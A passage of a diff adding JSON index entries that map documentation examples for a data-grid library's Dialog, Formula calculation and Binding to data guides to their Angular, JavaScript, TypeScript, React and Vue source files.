"JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/dialog/react/example1.tsx", + "file": "guides__dialog__dialog__react__example1.tsx.json", + "breadcrumb": [ + "Dialog" + ], + "guide": "guides/dialog/dialog/dialog.md", + "guideTitle": "Dialog", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/dialog", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/dialog/javascript/example1.ts", + "file": "guides__dialog__dialog__javascript__example1.ts.json", + "breadcrumb": [ + "Dialog" + ], + "guide": "guides/dialog/dialog/dialog.md", + "guideTitle": "Dialog", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/dialog", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/dialog/vue/example1.vue", + "file": "guides__dialog__dialog__vue__example1.vue.json", + "breadcrumb": [ + "Dialog" + ], + "guide": "guides/dialog/dialog/dialog.md", + "guideTitle": "Dialog", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/dialog", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/dialog/angular/example2.ts", + "file": "guides__dialog__dialog__angular__example2.ts.json", + "breadcrumb": [ + "Dialog" + ], + "guide": "guides/dialog/dialog/dialog.md", + "guideTitle": "Dialog", + "exampleId": "example2", + "exampleTitle": "Plain text content", + "docPermalink": "/dialog", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/dialog/javascript/example2.js", + "file": "guides__dialog__dialog__javascript__example2.js.json", + "breadcrumb": [ + "Dialog" + ], + "guide": "guides/dialog/dialog/dialog.md", + "guideTitle": "Dialog", + "exampleId": "example2", + "exampleTitle": "Plain text content", + "docPermalink": "/dialog", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/dialog/react/example2.tsx", + "file": "guides__dialog__dialog__react__example2.tsx.json", + "breadcrumb": [ + "Dialog" + ], + "guide": "guides/dialog/dialog/dialog.md", + "guideTitle": "Dialog", + "exampleId": "example2", + "exampleTitle": "Plain text content", + "docPermalink": "/dialog", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/dialog/javascript/example2.ts", + "file": "guides__dialog__dialog__javascript__example2.ts.json", + "breadcrumb": [ + "Dialog" + ], + "guide": "guides/dialog/dialog/dialog.md", + "guideTitle": "Dialog", + "exampleId": "example2", + "exampleTitle": "Plain text content", + "docPermalink": "/dialog", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/dialog/vue/example2.vue", + "file": "guides__dialog__dialog__vue__example2.vue.json", + "breadcrumb": [ + "Dialog" + ], + "guide": "guides/dialog/dialog/dialog.md", + "guideTitle": "Dialog", + "exampleId": "example2", + "exampleTitle": "Plain text content", + "docPermalink": "/dialog", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/dialog/angular/example3.ts", + "file": "guides__dialog__dialog__angular__example3.ts.json", + "breadcrumb": [ + "Dialog" + ], + "guide": "guides/dialog/dialog/dialog.md", + "guideTitle": "Dialog", + "exampleId": "example3", + "exampleTitle": "HTML content", + "docPermalink": "/dialog", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/dialog/javascript/example3.js", + "file": "guides__dialog__dialog__javascript__example3.js.json", + "breadcrumb": [ + "Dialog" + ], + "guide": "guides/dialog/dialog/dialog.md", + "guideTitle": "Dialog", + "exampleId": "example3", + "exampleTitle": "HTML content", + "docPermalink": "/dialog", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/dialog/react/example3.tsx", + "file": "guides__dialog__dialog__react__example3.tsx.json", + "breadcrumb": [ + "Dialog" + ], + "guide": "guides/dialog/dialog/dialog.md", + "guideTitle": "Dialog", + "exampleId": "example3", + "exampleTitle": "HTML content", + "docPermalink": "/dialog", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/dialog/javascript/example3.ts", + "file": "guides__dialog__dialog__javascript__example3.ts.json", + "breadcrumb": [ + "Dialog" + ], + "guide": "guides/dialog/dialog/dialog.md", + "guideTitle": "Dialog", + "exampleId": "example3", + "exampleTitle": "HTML content", + "docPermalink": "/dialog", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/dialog/vue/example3.vue", + "file": "guides__dialog__dialog__vue__example3.vue.json", + "breadcrumb": [ + "Dialog" + ], + "guide": "guides/dialog/dialog/dialog.md", + "guideTitle": "Dialog", + "exampleId": "example3", + "exampleTitle": "HTML content", + "docPermalink": "/dialog", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/dialog/angular/example4.ts", + "file": "guides__dialog__dialog__angular__example4.ts.json", + "breadcrumb": [ + "Dialog" + ], + "guide": "guides/dialog/dialog/dialog.md", + "guideTitle": "Dialog", + "exampleId": "example4", + "exampleTitle": "Template types", + "docPermalink": "/dialog", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/dialog/javascript/example4.js", + "file": "guides__dialog__dialog__javascript__example4.js.json", + "breadcrumb": [ + "Dialog" + ], + "guide": "guides/dialog/dialog/dialog.md", + "guideTitle": "Dialog", + "exampleId": "example4", + "exampleTitle": "Template types", + "docPermalink": "/dialog", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/dialog/react/example4.tsx", + "file": "guides__dialog__dialog__react__example4.tsx.json", + "breadcrumb": [ + "Dialog" + ], + "guide": "guides/dialog/dialog/dialog.md", + "guideTitle": "Dialog", + "exampleId": "example4", + "exampleTitle": "Template types", + "docPermalink": "/dialog", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/dialog/javascript/example4.ts", + "file": "guides__dialog__dialog__javascript__example4.ts.json", + "breadcrumb": [ + "Dialog" + ], + "guide": "guides/dialog/dialog/dialog.md", + "guideTitle": "Dialog", + "exampleId": "example4", + "exampleTitle": "Template types", + "docPermalink": "/dialog", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/dialog/vue/example4.vue", + "file": "guides__dialog__dialog__vue__example4.vue.json", + "breadcrumb": [ + "Dialog" + ], + "guide": "guides/dialog/dialog/dialog.md", + "guideTitle": "Dialog", + "exampleId": "example4", + "exampleTitle": "Template types", + "docPermalink": "/dialog", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/dialog/angular/example5.ts", + "file": "guides__dialog__dialog__angular__example5.ts.json", + "breadcrumb": [ + "Dialog" + ], + "guide": "guides/dialog/dialog/dialog.md", + "guideTitle": "Dialog", + "exampleId": "example5", + "exampleTitle": "Background variants", + "docPermalink": "/dialog", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/dialog/javascript/example5.js", + "file": "guides__dialog__dialog__javascript__example5.js.json", + "breadcrumb": [ + "Dialog" + ], + "guide": "guides/dialog/dialog/dialog.md", + "guideTitle": "Dialog", + "exampleId": "example5", + "exampleTitle": "Background variants", + "docPermalink": "/dialog", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/dialog/react/example5.tsx", + "file": "guides__dialog__dialog__react__example5.tsx.json", + "breadcrumb": [ + "Dialog" + ], + "guide": "guides/dialog/dialog/dialog.md", + "guideTitle": "Dialog", + "exampleId": "example5", + "exampleTitle": "Background variants", + "docPermalink": "/dialog", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/dialog/javascript/example5.ts", + "file": "guides__dialog__dialog__javascript__example5.ts.json", + "breadcrumb": [ + "Dialog" + ], + "guide": "guides/dialog/dialog/dialog.md", + "guideTitle": "Dialog", + "exampleId": "example5", + "exampleTitle": "Background variants", + "docPermalink": "/dialog", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/dialog/vue/example5.vue", + "file": "guides__dialog__dialog__vue__example5.vue.json", + "breadcrumb": [ + "Dialog" + ], + "guide": "guides/dialog/dialog/dialog.md", + "guideTitle": "Dialog", + "exampleId": "example5", + "exampleTitle": "Background variants", + "docPermalink": "/dialog", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/dialog/angular/example6.ts", + "file": "guides__dialog__dialog__angular__example6.ts.json", + "breadcrumb": [ + "Dialog" + ], + "guide": "guides/dialog/dialog/dialog.md", + "guideTitle": "Dialog", + "exampleId": "example6", + "exampleTitle": "Content background", + "docPermalink": "/dialog", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/dialog/javascript/example6.js", + "file": "guides__dialog__dialog__javascript__example6.js.json", + "breadcrumb": [ + "Dialog" + ], + "guide": "guides/dialog/dialog/dialog.md", + "guideTitle": "Dialog", + "exampleId": "example6", + "exampleTitle": "Content background", + "docPermalink": "/dialog", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/dialog/react/example6.tsx", + "file": "guides__dialog__dialog__react__example6.tsx.json", + "breadcrumb": [ + "Dialog" + ], + "guide": "guides/dialog/dialog/dialog.md", + "guideTitle": "Dialog", + "exampleId": "example6", + "exampleTitle": "Content background", + "docPermalink": "/dialog", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/dialog/javascript/example6.ts", + "file": "guides__dialog__dialog__javascript__example6.ts.json", + "breadcrumb": [ + "Dialog" + ], + "guide": "guides/dialog/dialog/dialog.md", + "guideTitle": "Dialog", + "exampleId": "example6", + "exampleTitle": "Content background", + "docPermalink": "/dialog", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/dialog/vue/example6.vue", + "file": "guides__dialog__dialog__vue__example6.vue.json", + "breadcrumb": [ + "Dialog" + ], + "guide": "guides/dialog/dialog/dialog.md", + "guideTitle": "Dialog", + "exampleId": "example6", + "exampleTitle": "Content background", + "docPermalink": "/dialog", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/dialog/angular/example7.ts", + "file": "guides__dialog__dialog__angular__example7.ts.json", + "breadcrumb": [ + "Dialog" + ], + "guide": "guides/dialog/dialog/dialog.md", + "guideTitle": "Dialog", + "exampleId": "example7", + "exampleTitle": "Dialog accessibility", + "docPermalink": "/dialog", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/dialog/javascript/example7.js", + "file": "guides__dialog__dialog__javascript__example7.js.json", + "breadcrumb": [ + "Dialog" + ], + "guide": "guides/dialog/dialog/dialog.md", + "guideTitle": "Dialog", + "exampleId": "example7", + "exampleTitle": "Dialog accessibility", + "docPermalink": "/dialog", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/dialog/react/example7.tsx", + "file": "guides__dialog__dialog__react__example7.tsx.json", + "breadcrumb": [ + "Dialog" + ], + "guide": "guides/dialog/dialog/dialog.md", + "guideTitle": "Dialog", + "exampleId": "example7", + "exampleTitle": "Dialog accessibility", + "docPermalink": "/dialog", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/dialog/javascript/example7.ts", + "file": "guides__dialog__dialog__javascript__example7.ts.json", + "breadcrumb": [ + "Dialog" + ], + "guide": "guides/dialog/dialog/dialog.md", + "guideTitle": "Dialog", + "exampleId": "example7", + "exampleTitle": "Dialog accessibility", + "docPermalink": "/dialog", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/dialog/vue/example7.vue", + "file": "guides__dialog__dialog__vue__example7.vue.json", + "breadcrumb": [ + "Dialog" + ], + "guide": "guides/dialog/dialog/dialog.md", + "guideTitle": "Dialog", + "exampleId": "example7", + "exampleTitle": "Dialog accessibility", + "docPermalink": "/dialog", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/dialog/angular/example8.ts", + "file": "guides__dialog__dialog__angular__example8.ts.json", + "breadcrumb": [ + "Dialog" + ], + "guide": "guides/dialog/dialog/dialog.md", + "guideTitle": "Dialog", + "exampleId": "example8", + "exampleTitle": "Show and hide dialog", + "docPermalink": "/dialog", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/dialog/javascript/example8.js", + "file": "guides__dialog__dialog__javascript__example8.js.json", + "breadcrumb": [ + "Dialog" + ], + "guide": "guides/dialog/dialog/dialog.md", + "guideTitle": "Dialog", + "exampleId": "example8", + "exampleTitle": "Show and hide dialog", + "docPermalink": "/dialog", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/dialog/react/example8.tsx", + "file": "guides__dialog__dialog__react__example8.tsx.json", + "breadcrumb": [ + "Dialog" + ], + "guide": "guides/dialog/dialog/dialog.md", + "guideTitle": "Dialog", + "exampleId": "example8", + "exampleTitle": "Show and hide dialog", + "docPermalink": "/dialog", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/dialog/javascript/example8.ts", + "file": "guides__dialog__dialog__javascript__example8.ts.json", + "breadcrumb": [ + "Dialog" + ], + "guide": "guides/dialog/dialog/dialog.md", + "guideTitle": "Dialog", + "exampleId": "example8", + "exampleTitle": "Show and hide dialog", + "docPermalink": "/dialog", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/dialog/vue/example8.vue", + "file": "guides__dialog__dialog__vue__example8.vue.json", + "breadcrumb": [ + "Dialog" + ], + "guide": "guides/dialog/dialog/dialog.md", + "guideTitle": "Dialog", + "exampleId": "example8", + "exampleTitle": "Show and hide dialog", + "docPermalink": "/dialog", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/formulas/formula-calculation/javascript/example-data-grid.js", + "file": "guides__formulas__formula-calculation__javascript__example-data-grid.js.json", + "breadcrumb": [ + "Formulas", + "Formula calculation" + ], + "guide": "guides/formulas/formula-calculation/formula-calculation.md", + "guideTitle": "Formula calculation", + "exampleId": "example-data-grid", + "exampleTitle": "Data grid example", + "docPermalink": "/formula-calculation", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/formulas/formula-calculation/react/example-data-grid.tsx", + "file": "guides__formulas__formula-calculation__react__example-data-grid.tsx.json", + "breadcrumb": [ + "Formulas", + "Formula calculation" + ], + "guide": "guides/formulas/formula-calculation/formula-calculation.md", + "guideTitle": "Formula calculation", + "exampleId": "example-data-grid", + "exampleTitle": "Data grid example", + "docPermalink": "/formula-calculation", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/formulas/formula-calculation/javascript/example-data-grid.ts", + "file": "guides__formulas__formula-calculation__javascript__example-data-grid.ts.json", + "breadcrumb": [ + "Formulas", + "Formula calculation" + ], + "guide": "guides/formulas/formula-calculation/formula-calculation.md", + "guideTitle": "Formula calculation", + "exampleId": "example-data-grid", + "exampleTitle": "Data grid example", + "docPermalink": "/formula-calculation", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/formulas/formula-calculation/vue/example-data-grid.vue", + "file": "guides__formulas__formula-calculation__vue__example-data-grid.vue.json", + "breadcrumb": [ + "Formulas", + "Formula calculation" + ], + "guide": "guides/formulas/formula-calculation/formula-calculation.md", + "guideTitle": "Formula calculation", + "exampleId": "example-data-grid", + "exampleTitle": "Data grid example", + "docPermalink": "/formula-calculation", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/formulas/formula-calculation/javascript/example-named-expressions1.js", + "file": "guides__formulas__formula-calculation__javascript__example-named-expressions1.js.json", + "breadcrumb": [ + "Formulas", + "Formula calculation" + ], + "guide": "guides/formulas/formula-calculation/formula-calculation.md", + "guideTitle": "Formula calculation", + "exampleId": "example-named-expressions1", + "exampleTitle": "Demo: plain-value named expression", + "docPermalink": "/formula-calculation", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/formulas/formula-calculation/react/example-named-expressions1.tsx", + "file": "guides__formulas__formula-calculation__react__example-named-expressions1.tsx.json", + "breadcrumb": [ + "Formulas", + "Formula calculation" + ], + "guide": "guides/formulas/formula-calculation/formula-calculation.md", + "guideTitle": "Formula calculation", + "exampleId": "example-named-expressions1", + "exampleTitle": "Demo: plain-value named expression", + "docPermalink": "/formula-calculation", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/formulas/formula-calculation/javascript/example-named-expressions1.ts", + "file": "guides__formulas__formula-calculation__javascript__example-named-expressions1.ts.json", + "breadcrumb": [ + "Formulas", + "Formula calculation" + ], + "guide": "guides/formulas/formula-calculation/formula-calculation.md", + "guideTitle": "Formula calculation", + "exampleId": "example-named-expressions1", + "exampleTitle": "Demo: plain-value named expression", + "docPermalink": "/formula-calculation", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/formulas/formula-calculation/vue/example-named-expressions1.vue", + "file": "guides__formulas__formula-calculation__vue__example-named-expressions1.vue.json", + "breadcrumb": [ + "Formulas", + "Formula calculation" + ], + "guide": "guides/formulas/formula-calculation/formula-calculation.md", + "guideTitle": "Formula calculation", + "exampleId": "example-named-expressions1", + "exampleTitle": "Demo: plain-value named expression", + "docPermalink": "/formula-calculation", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/formulas/formula-calculation/javascript/example-named-expressions2.js", + "file": "guides__formulas__formula-calculation__javascript__example-named-expressions2.js.json", + "breadcrumb": [ + "Formulas", + "Formula calculation" + ], + "guide": "guides/formulas/formula-calculation/formula-calculation.md", + "guideTitle": "Formula calculation", + "exampleId": "example-named-expressions2", + "exampleTitle": "Demo: formula-based named expressions", + "docPermalink": "/formula-calculation", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/formulas/formula-calculation/react/example-named-expressions2.tsx", + "file": "guides__formulas__formula-calculation__react__example-named-expressions2.tsx.json", + "breadcrumb": [ + "Formulas", + "Formula calculation" + ], + "guide": "guides/formulas/formula-calculation/formula-calculation.md", + "guideTitle": "Formula calculation", + "exampleId": "example-named-expressions2", + "exampleTitle": "Demo: formula-based named expressions", + "docPermalink": "/formula-calculation", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/formulas/formula-calculation/javascript/example-named-expressions2.ts", + "file": "guides__formulas__formula-calculation__javascript__example-named-expressions2.ts.json", + "breadcrumb": [ + "Formulas", + "Formula calculation" + ], + "guide": "guides/formulas/formula-calculation/formula-calculation.md", + "guideTitle": "Formula calculation", + "exampleId": "example-named-expressions2", + "exampleTitle": "Demo: formula-based named expressions", + "docPermalink": "/formula-calculation", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/formulas/formula-calculation/vue/example-named-expressions2.vue", + "file": "guides__formulas__formula-calculation__vue__example-named-expressions2.vue.json", + "breadcrumb": [ + "Formulas", + "Formula calculation" + ], + "guide": "guides/formulas/formula-calculation/formula-calculation.md", + "guideTitle": "Formula calculation", + "exampleId": "example-named-expressions2", + "exampleTitle": "Demo: formula-based named expressions", + "docPermalink": "/formula-calculation", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/formulas/formula-calculation/angular/example1.ts", + "file": "guides__formulas__formula-calculation__angular__example1.ts.json", + "breadcrumb": [ + "Formulas", + "Formula calculation" + ], + "guide": "guides/formulas/formula-calculation/formula-calculation.md", + "guideTitle": "Formula calculation", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/formula-calculation", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/formulas/formula-calculation/javascript/example1.js", + "file": "guides__formulas__formula-calculation__javascript__example1.js.json", + "breadcrumb": [ + "Formulas", + "Formula calculation" + ], + "guide": "guides/formulas/formula-calculation/formula-calculation.md", + "guideTitle": "Formula calculation", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/formula-calculation", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/formulas/formula-calculation/react/example1.tsx", + "file": "guides__formulas__formula-calculation__react__example1.tsx.json", + "breadcrumb": [ + "Formulas", + "Formula calculation" + ], + "guide": "guides/formulas/formula-calculation/formula-calculation.md", + "guideTitle": "Formula calculation", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/formula-calculation", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/formulas/formula-calculation/javascript/example1.ts", + "file": "guides__formulas__formula-calculation__javascript__example1.ts.json", + "breadcrumb": [ + "Formulas", + "Formula calculation" + ], + "guide": "guides/formulas/formula-calculation/formula-calculation.md", + "guideTitle": "Formula calculation", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/formula-calculation", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/formulas/formula-calculation/vue/example1.vue", + "file": "guides__formulas__formula-calculation__vue__example1.vue.json", + "breadcrumb": [ + "Formulas", + "Formula calculation" + ], + "guide": "guides/formulas/formula-calculation/formula-calculation.md", + "guideTitle": "Formula calculation", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/formula-calculation", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/formulas/formula-calculation/angular/example2.ts", + "file": "guides__formulas__formula-calculation__angular__example2.ts.json", + "breadcrumb": [ + "Formulas", + "Formula calculation" + ], + "guide": "guides/formulas/formula-calculation/formula-calculation.md", + "guideTitle": "Formula calculation", + "exampleId": "example2", + "exampleTitle": "Data grid example (2)", + "docPermalink": "/formula-calculation", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/formulas/formula-calculation/angular/example3.ts", + "file": "guides__formulas__formula-calculation__angular__example3.ts.json", + "breadcrumb": [ + "Formulas", + "Formula calculation" + ], + "guide": "guides/formulas/formula-calculation/formula-calculation.md", + "guideTitle": "Formula calculation", + "exampleId": "example3", + "exampleTitle": "Demo: plain-value named expression (2)", + "docPermalink": "/formula-calculation", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/formulas/formula-calculation/angular/example4.ts", + "file": "guides__formulas__formula-calculation__angular__example4.ts.json", + "breadcrumb": [ + "Formulas", + "Formula calculation" + ], + "guide": "guides/formulas/formula-calculation/formula-calculation.md", + "guideTitle": "Formula calculation", + "exampleId": "example4", + "exampleTitle": "Demo: formula-based named expressions (2)", + "docPermalink": "/formula-calculation", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/binding-to-data/angular/example10.ts", + "file": "guides__getting-started__binding-to-data__angular__example10.ts.json", + "breadcrumb": [ + "Getting Started", + "Binding to data" + ], + "guide": "guides/getting-started/binding-to-data/binding-to-data.md", + "guideTitle": "Binding to data", + "exampleId": "example10", + "exampleTitle": "Understand binding as a reference", + "docPermalink": "/binding-to-data", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/binding-to-data/javascript/example10.js", + "file": "guides__getting-started__binding-to-data__javascript__example10.js.json", + "breadcrumb": [ + "Getting Started", + "Binding to data" + ], + "guide": "guides/getting-started/binding-to-data/binding-to-data.md", + "guideTitle": "Binding to data", + "exampleId": "example10", + "exampleTitle": "Understand binding as a reference", + "docPermalink": "/binding-to-data", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/binding-to-data/react/example10.tsx", + "file": "guides__getting-started__binding-to-data__react__example10.tsx.json", + "breadcrumb": [ + "Getting Started", + "Binding to data" + ], + "guide": "guides/getting-started/binding-to-data/binding-to-data.md", + "guideTitle": "Binding to data", + "exampleId": "example10", + "exampleTitle": "Understand binding as a reference", + "docPermalink": "/binding-to-data", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/binding-to-data/javascript/example10.ts", + "file": "guides__getting-started__binding-to-data__javascript__example10.ts.json", + "breadcrumb": [ + "Getting Started", + "Binding to data" + ], + "guide": "guides/getting-started/binding-to-data/binding-to-data.md", + "guideTitle": "Binding to data", + "exampleId": "example10", + "exampleTitle": "Understand binding as a reference", + "docPermalink": "/binding-to-data", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/binding-to-data/vue/example10.vue", + "file": "guides__getting-started__binding-to-data__vue__example10.vue.json", + "breadcrumb": [ + "Getting Started", + "Binding to data" + ], + "guide": "guides/getting-started/binding-to-data/binding-to-data.md", + "guideTitle": "Binding to data", + "exampleId": "example10", + "exampleTitle": "Understand binding as a reference", + "docPermalink": "/binding-to-data", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/binding-to-data/angular/example11.ts", + "file": "guides__getting-started__binding-to-data__angular__example11.ts.json", + "breadcrumb": [ + "Getting Started", + "Binding to data" + ], + "guide": "guides/getting-started/binding-to-data/binding-to-data.md", + "guideTitle": "Binding to data", + "exampleId": "example11", + "exampleTitle": "Working with a copy of data", + "docPermalink": "/binding-to-data", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/binding-to-data/javascript/example11.js", + "file": "guides__getting-started__binding-to-data__javascript__example11.js.json", + "breadcrumb": [ + "Getting Started", + "Binding to data" + ], + "guide": "guides/getting-started/binding-to-data/binding-to-data.md", + "guideTitle": "Binding to data", + "exampleId": "example11", + "exampleTitle": "Working with a copy of data", + "docPermalink": "/binding-to-data", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/binding-to-data/react/example11.tsx", + "file": "guides__getting-started__binding-to-data__react__example11.tsx.json", + "breadcrumb": [ + "Getting Started", + "Binding to data" + ], + "guide": "guides/getting-started/binding-to-data/binding-to-data.md", + "guideTitle": "Binding to data", + "exampleId": "example11", + "exampleTitle": "Working with a copy of data", + "docPermalink": "/binding-to-data", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/binding-to-data/javascript/example11.ts", + "file": "guides__getting-started__binding-to-data__javascript__example11.ts.json", + "breadcrumb": [ + "Getting Started", + "Binding to data" + ], + "guide": "guides/getting-started/binding-to-data/binding-to-data.md", + "guideTitle": "Binding to data", + "exampleId": "example11", + "exampleTitle": "Working with a copy of data", + "docPermalink": "/binding-to-data", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/binding-to-data/vue/example11.vue", + "file": "guides__getting-started__binding-to-data__vue__example11.vue.json", + "breadcrumb": [ + "Getting Started", + "Binding to data" + ], + "guide": "guides/getting-started/binding-to-data/binding-to-data.md", + "guideTitle": "Binding to data", + "exampleId": "example11", + "exampleTitle": "Working with a copy of data", + "docPermalink": "/binding-to-data", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/binding-to-data/angular/example1.ts", + "file": "guides__getting-started__binding-to-data__angular__example1.ts.json", + "breadcrumb": [ + "Getting Started", + "Binding to data" + ], + "guide": "guides/getting-started/binding-to-data/binding-to-data.md", + "guideTitle": "Binding to data", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/binding-to-data", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/binding-to-data/javascript/example1.js", + "file": "guides__getting-started__binding-to-data__javascript__example1.js.json", + "breadcrumb": [ + "Getting Started", + "Binding to data" + ], + "guide": "guides/getting-started/binding-to-data/binding-to-data.md", + "guideTitle": "Binding to data", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/binding-to-data", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/binding-to-data/react/example1.tsx", + "file": "guides__getting-started__binding-to-data__react__example1.tsx.json", + "breadcrumb": [ + "Getting Started", + "Binding to data" + ], + "guide": "guides/getting-started/binding-to-data/binding-to-data.md", + "guideTitle": "Binding to data", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/binding-to-data", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/binding-to-data/javascript/example1.ts", + "file": "guides__getting-started__binding-to-data__javascript__example1.ts.json", + "breadcrumb": [ + "Getting Started", + "Binding to data" + ], + "guide": "guides/getting-started/binding-to-data/binding-to-data.md", + "guideTitle": "Binding to data", + "exampleId": "example1", + 